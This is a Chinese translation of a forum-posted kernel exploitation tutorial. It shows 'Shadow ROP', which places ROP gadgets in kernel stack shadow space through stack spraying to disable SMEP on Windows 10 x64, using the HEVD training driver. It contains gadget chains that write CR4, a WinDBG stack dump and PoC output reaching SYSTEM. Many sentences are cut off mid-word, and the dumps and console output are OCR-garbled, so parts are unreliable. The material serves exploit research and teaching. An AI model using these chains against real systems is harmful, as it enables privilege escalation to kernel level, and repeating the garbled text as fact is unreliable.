ROPping through shady corners【译文】

mss**** / 2018-10-22 19:23:42 / 浏览数 1965 技术文章 技术文章 顶(0) 踩(0)

原文: https://acru3l.github.io/2018/10/20/ropping-through-shady-corners/

在这篇文章中,我将为读者详细介绍一种在Windows 10 x64系统上从用户空间向内核堆栈提供ROP链的方法,在本文中,我们称之为Shadow ROP。在我看来,这种方法对Ring 0级别的漏洞利用非常有用,可以藉此控制执行流程。

几个星期前,我开始了解Ring 0级别的漏洞利用技术。据我所知,还有很多人像我一样,在这方面还很陌生,所以,我们将从Ring 0级别的漏洞利用方法的一些基础知识开始讲起;不过,我想大家对于ROP的概念可能都已经耳熟能详了。

漏洞的类型

对于Ring

0级别的漏洞而言,我们主要关注下列两种可利用的类型:允许攻击者在内核空间(Write-What-Where)中读取/写入任意数据的漏洞类型,以及允许攻击者控制内核空间

缓解措施

我们至少应该考虑三种漏洞利用缓解措施:内核地址空间布局随机化(KASLR)、管理员模式执行保护(SMEP)和内核数据执行保护(DEP),所有这些保护措施在Wind 10上都是默认启用的。实践证明,KASLR并没有多大作用,因为对于中等完整性级别的进程来说,可以通过多种方式来泄漏内核和驱动程序的基址。而SMEP则是一个更强力

我们绕过SMEP的一般策略是,在跳转到用户空间中的shellcode之前,设法禁用该缓解措施。

ROP应运而生

面向返回编程(ROP

)是一种流行的技术,它是ret2libc的继承者,是专门用来绕过DEP保护措施的。由于内核映像足够大,所以,我们总能找到合适的gadget,并且,如果我们知道内核的基址

```
chain += struct.pack('<Q', kernel_base + 0x597b)  # pop rcx; ret;
chain += struct.pack('<Q', 0x506f8)  # rcx
chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
chain += struct.pack('<Q', shellcode_addr)</pre>
```

这里的问题是,如何将ROP链传递给内核空间,以及如何使堆栈指针RSP指向ROP链,以使其能够正常使用。当然,这些问题都不是什么难题,例如,在简单的堆栈缓冲区流

影子空间

堆栈喷射

接下来,让我们来了解一下Windows x64平台下的调用约定。根据维基百科:

Microsoft x64

重点在于,对于每个函数调用,都会为被调用函数创建0x20字节的空间(即"影子空间"),无论被调用函数实际上是否会耗尽分配的所有影子空间(调用者并不关心)。如果

2011年,<u>j00ru</u>发明了一种非常强大的技术,即使用nt!NtMapUserPhysicalPages进行堆栈喷射。使用这种技术,我们至少可以在内核堆栈上喷射0x2000字节的任意数据。 影子ROP

实际上,影子ROP的理论非常简单。我们将ROP链的各个片段放入影子空间的未初始化部分,然后将各个片段链接起来,从而达到我们的目标:就本文来说,就是禁用SME

需要注意的是,千万不要在使用nt!NtMapUserPhysicalPages进行喷射与触发漏洞这段时间内调用任何系统调用,因为这有可能会破坏喷射到内核堆栈上的数据和我们的RG

PoC

为了便于读者进行理解,这里将以<u>HackSysTeam</u>出品的<u>HEVD</u>

v2.00中的一个类型混淆漏洞的利用过程为例进行演示。之所以选择这个漏洞,是因为它是HEVD实现的最简单的漏洞之一,当然,这里介绍的技术也适用于HEVD中的其他)

我们的攻击计划是:

```
NtMapUserPhysicalPages (■■) -> DeviceIoControl (■■) -> ROP (pwn)
```

首先,让我们喷射下面用Metasploit生成的0x2000字节的模版,并尝试触发该漏洞,看看会出现什么情况。

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1

下面的WinDBG的屏幕截图显示了将要触发该漏洞时的堆栈的布局情况。我们可以看到,喷射模版的一些子模版(红色圆圈内的部分)在没有被破坏的情况下被保留了下来。 Gadget的具体位置。

```
Virtual: @rsp
                                                                                                                Previous
                           Display format: Pointer and Symbol
                                                                                                         Next
fffffbb01`1c53c6d0 ffffff8014de86e00 HEVD! ?? ::NNGAKEGL::`string
                                                                                                                     ٠
ffffbb01`1c53c6d8 0000000000000001
ffffbb01`1c53c6e0 00000000000000008
ffffbb01`1c53c6e8 00000000000000065
ffffbb01`1c53c6f0 0000000000920000
ffffbb01`lc53c6f8 fffff8014de85771 HEVD!TriggerTypeConfusion+0x109 [c:\hacksysextremevulnerabledriver\driver\typeconfusion
ffffbb01`1c53c700 fffff8014de87020 HEVD! ?? ::NNGAKEGL::`string
ffffbb01`1c53c708 00000000000000001
ffffbb01~1c53c710 00000000000000008
ffffbb01`1c53c718 0000000000000065
ffffbb01`1c53c720 00000000000000002
ffffbb01`1c53c728 00000000000000002
ffffbb01`1c53c730 ffffcb87001d5010
ffffbb01`1c53c738 fffff8014de857f7 HEVD!TypeConfusionIoctlHandler+0x17 [c:\hacksysextremevulnerabledriver\driver\typeconfu
ffffbb01`1c53c740 ffffcb87001d50e0
ffffbb01`1c53c748 00000000000000001
ffffbb01\1c53c750 ffffbb011c53c768
ffffbb01`1c53c758 @Saaaaaaaaaaaaa
ffffbb01`1c53c76 4a32704a31704a30
                 ffffbb01`1c53c768
ffffbb01`1c53c770 fffff8014de879c0 HEVD! ?? ::NNGAKEGL::`string'
ffffbb01`1c53c778 00000000000222023
ffffbb01`1c53c780 0000000000000000
ffffbb01`1c53c788 ffffcb86ff20a350
ffffbb01`1c53c790 ffffcb87001d5010
ffffbb01`1c53c798 ffffff8012e4da54f nt!IopSynchronousServiceTail+0x1af
ffffbb01`1c53c7a0 ffffcb8700326b70
ffffbb01`1c53c7a8 ffffbb011c53cb00
ffffbb01`1c53c7b0 000
ffffbb01`1c53c7b; 734a31734a30734a
ffffbb01`1c53c7c0 4a34734a33734a32
                 4a34734a33734a32
ffffbb01`1c53c7c8 00000
ffffbb01`1c53c7d0 ffffcb8700326b70
ffffbb01`1c53c7d8 00000000000000000
ffffbb01`1c53c7e0 00000000000000000
ffffbb01`1c53c7e8 fffff8012e0bf062 nt!IopAllocateIrpPrivate+0x192
ffffbb01~1c53c7f0 0000000000222023
ffffbb01`1c53c7f8 0000000000000000
ffffbb01`1c53c800 0000000000000190
ffffbb01`1c53c808 fffff8012e4e598e nt!ObReferenceObjectByHandle+0x2e
ffffbb01`1c53c810 000000000000000001
ffffbb01`1c53c818 ffff741a3d8b8a89
ffffbb01`1c53c820 00000000000000001
ffffbb01`1c53c828 0000000000000000
ffffbb01~1c53c830 ffffcb87001d5128
ffffbb01\1c53c838 ffffcb87001d5010
ffffbb01`1c53c840 00000000000000003
ffffbb01`1c53c848 0000000000222023
ffffbb01`1c53c850 ffffcb8700326b70
ffffbb01`1c53c858 ffffff8012e4d9e11 nt!IopXxxControlFile+0x6a1
ffffbb01`1c53c860 ffffcb8700000000
ffffbb01`1c53c868 ffffcb8700326b04
ffffbb01`1c53c870 00000000000000000
ffffbb01`1c53c878 ffffbb011c53cb00
ffffbb01~1c53c880 ffffbb011c53c801
ffffbb01`1c53c888 ffffbb011c53c901
ffffbb01`1c53c890 7a4
ffffbb01`1c53c898 4a367a4a357a4a34
ffffbb01`1c53c8a 397a4a387a4a377a
ffffbb01`1c53c8a8
                 614b31614b30614b
ffffbb01`1c53c8b0 0000e
```

通过向下翻看堆栈(我的意思是,查看更高的地址),就会发现,有很多地方都可用于放置ROP Gadget。在Windows 10 x64 V1703版本中,完整的ROP链如下所示。在这个ROP链中,共使用了4个影子空间以及3个长跳转指令。

```
chain += struct.pack('<Q', kernel_base + 0x68464f)  # add rsp, 0x58; ret;
chain += struct.pack('<Q', 0x4141414141411) * 11 # filler
chain += struct.pack('<Q', kernel_base + 0x11c667)  # add rsp, 0x118; ret;
chain += struct.pack('<Q', 0x414141414141411) * 35 # filler
chain += struct.pack('<Q', kernel_base + 0x597b)  # pop rcx; ret;
chain += struct.pack('<Q', 0x506f8)  # rcx
chain += struct.pack('<Q', kernel_base + 0x1f081e)  # add rsp, 0x48; ret;
chain += struct.pack('<Q', 0x41414141414141) * 9 # filler
chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;</pre>
```

完整的PoC代码,读者可以从GitHub站点下载。

```
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation, All rights reserved.

PowerShell (C) 2016 Microsoft Corporation, All rights reserved.

Po C:\Users\TEUsers python \Deskton\TypeConfusion.v2.00.py
[#] Device opened successfully:\\\\\HackSysExtremeVulnerableDriver
[#] Kernel base address: Oxffff880040010000
[#] Dkl loaded: ntdl at 0x00007fe9970000
[#] Dkl loaded: ntdl at 0x00007fe9970000
[#] Dkl loaded: ntdl at 0x00007fe9970000
[#] Dkl confociontrol = 0x00007fe9970000
[#] Dkl confociontrol = 0x00007fe9970000
[#] Executing ad-hoc code
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation, All rights reserved.

PS C:\Users\TEUsers whomi
nt authority\system
PS C:\Users\TEUsers whomi
```

参考资料

[1] https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/

[2] https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

点击收藏 | 0 关注 | 1

上一篇: HITCON2018-WP-By ... 下一篇: 带外通道(OOB)技术清单

- 1. 0 条回复
 - 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录